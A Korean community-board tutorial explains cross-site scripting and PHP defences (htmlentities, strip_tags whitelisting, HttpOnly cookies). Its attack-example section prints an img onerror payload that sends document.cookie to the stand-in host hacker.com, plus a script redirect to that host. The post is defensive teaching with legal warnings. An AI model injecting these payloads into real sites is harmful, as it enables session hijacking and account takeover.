강좌

|  다양한 분야에 다소 전문적인 도움이 되는 강좌들입니다.

조회 수 315 추천 수 0 댓글 1
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
Extra Form

※ 주의 : 이 내용에 있는 방법을 이용해 다른 사이트를 해킹하려고 시도를 할 경우 법적인 처벌을 받을 수 있습니다. 단순히 참고용 혹은 대비 방법에 대해 익히는 정도로만 이해를 하시면 됩니다.

 

아마 여기에 있는 분들은 모두 자신만의 홈페이지를 꾸미는 것을 목표로 할 것입니다. 물론 홈페이지를 꾸미는 것도 좋지만 보안의 경우에도 신경을 쓰는 것이 좋습니다. 보안에 신경을 쓰지 않는다면 그 서버는 해커에 의해서 털리게 되고, 또한 그렇게 되면 해커가 그 서버를 경유지로 해서 다른 서버도 터는 것이 가능해지기 때문에 위험합니다. 저의 경우에도 이와 비슷한 일을 겪을 뻔 했습니다....

그렇기 때문에 보안을 신경쓰는 것이 중요합니다. 이번 내용에서는 XSS가 무엇인지에 대해 살펴보고, 이를 어떻게 막을 수 있는지에 대해 알아보도록 하겠습니다.

 

1. XSS란 무엇인가?

XSS는 cross-site scripting의 약자로 한국말로는 사이트 간 스크립팅이라고 합니다. 이를 이용해서 해커는 사용자의 권한을 탈취하여 그 사용자인것 마냥 행동을 할 수도 있고, 혹은 사이트의 동작을 이상하게 만들어버릴 수도 있습니다. (이상한 사이트로 리다이렉트를 시킨다는 등..) 만약 관리자의 권한이 탈취당하게 된다면 대형 사고가 터질 수 있겠지요...

 

2. 대표적인 공격 예시. (실제로 동작하는 서버에 절대로 시도하지 마세요!!)

2.1. 사용자 권한 탈취하기.

보통 사용자 권한은 cookie를 이용해서 체크를 합니다. 즉 cookie라는 값이 카드키라고 생각을 하시면 됩니다. 만약 이 카드키를 복제한다면 권한이 없는 사람도 들어올 수 있겠지요. XSS를 이용하면 다른 사람의 cookie 정보를 가져올 수 있습니다.

만약 게시판에 XSS 공격이 막혀있지 않다면, 게시글의 내용에 <img src="/" onerror="this.src='http://hacker.com/?cookie='+encodeURIComponent(document.cookie)"/>와 같은 방식으로 작성을 하게 되면 cookie 값이 해커의 서버로 들어가게 됩니다.

즉 이렇게 얻은 cookie 값으로 해커가 쿠키 변조를 해서 접속을 하면 그 사용자처럼 행동이 가능합니다.

 

2.2. 이상한 사이트로 리다이렉트

Javascript에서 리다이렉트를 시키는 방법을 이용하는 방법입니다. 간단한 방법은 <script>location.href="http://hacker.com/";</script> 과 같은 방식을 사용하면 됩니다.

 

3. 어떻게 공격을 막을 것인가?

먼저 Wordpress나 XE와 같은 CMS를 이용하고 있는 경우에는 새로운 보안 업데이트가 나오면 바로바로 적용을 해주도록 합니다. 우리가 신경쓸 필요 없이 알아서 개발자 분들이 보안 업데이트를 해주시니 편리하게 바로바로 적용을 할 수 있습니다.

문제는 직접 PHP 코드를 작성해 게시판과 같은 기능을 구현하려고 하는 경우입니다. 이 경우에는 3가지 정도의 방안이 있습니다.

 

첫 번째 방법은 아예 HTML Markup이 되지 않도록 적용하는 방법입니다. 이 방법은 Naver나 Daum, Tistory 등에서의 댓글에서 채택한 방법입니다. 즉 HTML에서 태그를 나타내는 기호인 <와 >를 각각 < >로 변경해서 화면에서 <와 >로 보이게 하는 방식입니다.

이를 PHP에서는 htmlentities 함수를 사용하면 됩니다. (<?=htmlentities($content);?>와 같이 사용하시면 됩니다.)

 

두 번째 방법은 white list를 이용하는 방법입니다. 이 방법은 일부 태그를 허용해주게 하는 방법(이미지 태그나 혹은 강조를 위한 <b> 태그 등..)으로 Wordpress의 댓글에서 채택한 방법입니다. 즉 어떤 태그가 동작하지 않도록 하는 것이 아니라 동작을 하게 할 태그를 골라낸다는 것입니다.

PHP에서는 strip_tags함수를 이용하면 쉽게 구현을 할 수 있습니다. 첫 번째 인자는 전체 문자열을 주고, 두 번째 인자로는 허용할 태그를 표현하면 됩니다. 예를 들어 <p>와 <a> 태그만을 허용하려면, <?=strip_tags($content, '<p><a>');?>와 같이 사용하시면 됩니다.

 

세 번째 방법은 브라우저가 업데이트 되면서 추가된 기능인 쿠키에서의 HTT_ONLY 옵션입니다.

이 옵션이 true인 경우에는 자바스크립트 상에서 document.cookie와 같이 쿠키 값을 리턴하는 것을 호출하더라도 해당되는 쿠키의 값이 노출이 안되는 것입니다. 대부분의 사이트가 이 옵션을 기본적으로 사용하고 있습니다.

다만 이 방법의 경우 버전이 낮은 브라우저에 대해서는 적용이 안된다는 단점이 있습니다.

PHP에서 적용하는 방법은 http://php.net/manual/kr/function.session-set-cookie-params.php를 참조하시기 바랍니다.

 

4. 에필로그

이렇게 XSS가 무엇이고 이를 막기 위해서 어떤 방법을 취할 수 있는지에 대해서 살펴보았습니다. 다음 내용은 아마 SQL Injection이 무엇인지와 이를 어떻게 방어할 수 있는지에 대해 작성해보도록 하겠습니다.

 

5. 참고 자료

https://ko.wikipedia.org/wiki/사이트_간_스크립팅

http://php.net/manual/kr/function.htmlentities.php

http://php.net/manual/kr/function.strip-tags.php

http://php.net/manual/kr/function.session-set-cookie-params.php

 

 

TAG •

Who's humit

profile

Study For Us Hosting 1기 모니터링 관리자 (16.12.01 ~ 17.01.08.)

C++, Python, PHP를 주로 사용하며 알고리즘, DL, 해킹 쪽에 관심이 있습니다.

대학생이었으나, 현재 공군 복무 중입니다 :)

http://humit.tistory.com/

http://humit.kr/

https://kin.naver.com/profile/jhjang1005


강좌

다양한 분야에 다소 전문적인 도움이 되는 강좌들입니다.

  1. 앞으로 ssh 사용시 한글 사용이 가능합니다.

    Date2018.10.12 By마스터 Views12884
    read more
  2. 접속 불가 사태 수습은 진행중입니다.

    Date2018.10.05 By마스터 Views13526
    read more
  3. 회원 전용 페이지가 생겼습니다.

    Date2018.03.20 By마스터 Views14157
    read more
  4. 토렌트 - 램디스크 활용 팁

    Date2016.07.14 Bytitle: 황금 서버 (30일)하루살이 Views367
    Read More
  5. Gimagex로 wim파일에서 원하는 이미지파일 추출하기

    Date2016.08.02 By막시모:) Views361
    Read More
  6. 아실분들은 아실 미디어위키 웹호스팅상에서의 시각편집기 설치방법(게시판 이동)

    Date2018.10.03 By퓨처마츠 Views359
    Read More
  7. 스터디포러스에 유튜브 동영상 업로드 하는방법 !! [PC]

    Date2016.12.26 Bytitle: 맛스타의 자물쇠에듀 Views358
    Read More
  8. 아마존 쿠폰 적립금 모으기

    Date2016.10.24 Bytitle: 황금 서버 (30일)하루살이 Views349
    Read More
  9. 3. PCR이츄

    Date2017.11.03 By허니버터뚠뚜니라이츄 Views346
    Read More
  10. 노트북 뚜껑 닫았을시에도 전원켜있게 하기

    Date2016.08.04 By막시모:) Views344
    Read More
  11. [☆운영체제를 만들어보자☆][Chapter 01] 3. 다섯 가지 메모리 영역과 간단한 어셈블리

    Date2018.02.25 ByHygon Views343
    Read More
  12. [0강]렛츠 안드로이드!

    Date2017.10.24 ByCiel Views341
    Read More
  13. MVC 패턴에 대해 알아보자. (개념에 대해)

    Date2017.01.17 ByJEEK_CODUCT Views340
    Read More
  14. 모르면 손해인 포토샵 기본 설정 팁

    Date2016.07.15 Bytitle: 황금 서버 (30일)하루살이 Views338
    Read More
  15. [☆운영체제를 만들어보자☆][Chapter 01] 2. 스택이 뭘까? 스택을 만들어보자. [※연습 문제, 요약 추가]

    Date2018.02.14 ByHygon Views331
    Read More
  16. [Sublime Text 3] 패키지 설치 방법

    Date2016.07.16 Bytitle: 황금 서버 (30일)humit Views326
    Read More
  17. 아이폰 카메라 극한으로 확대시키기

    Date2016.08.31 ByUrsus Views320
    Read More
  18. [Windows10/윈도우10] Microsoft 계정에서 로컬 계정으로 변경하기

    Date2016.08.04 By막시모:) Views318
    Read More
  19. 2. 제한효소츄

    Date2017.10.30 By허니버터뚠뚜니라이츄 Views318
    Read More
  20. [보안] XSS에 대한 내용과 방지 방법.

    Date2016.07.14 Bytitle: 황금 서버 (30일)humit Views315
    Read More
  21. 엔비디아 DSR 기능 설명

    Date2016.07.12 Bytitle: 황금 서버 (30일)하루살이 Views313
    Read More
  22. DNS가 어떻게 작동하는지 알아봅시다: 2. 각 DNS 레코드의 기능

    Date2018.03.30 Byabnoeh Views310
    Read More
  23. Windows 7/8.1에서 프로그램 추가 및 제거 방법

    Date2016.08.04 By막시모:) Views308
    Read More
Board Pagination Prev 1 2 3 4 5 6 7 8 9 10 11 Next
/ 11
서버에 요청 중입니다. 잠시만 기다려 주십시오...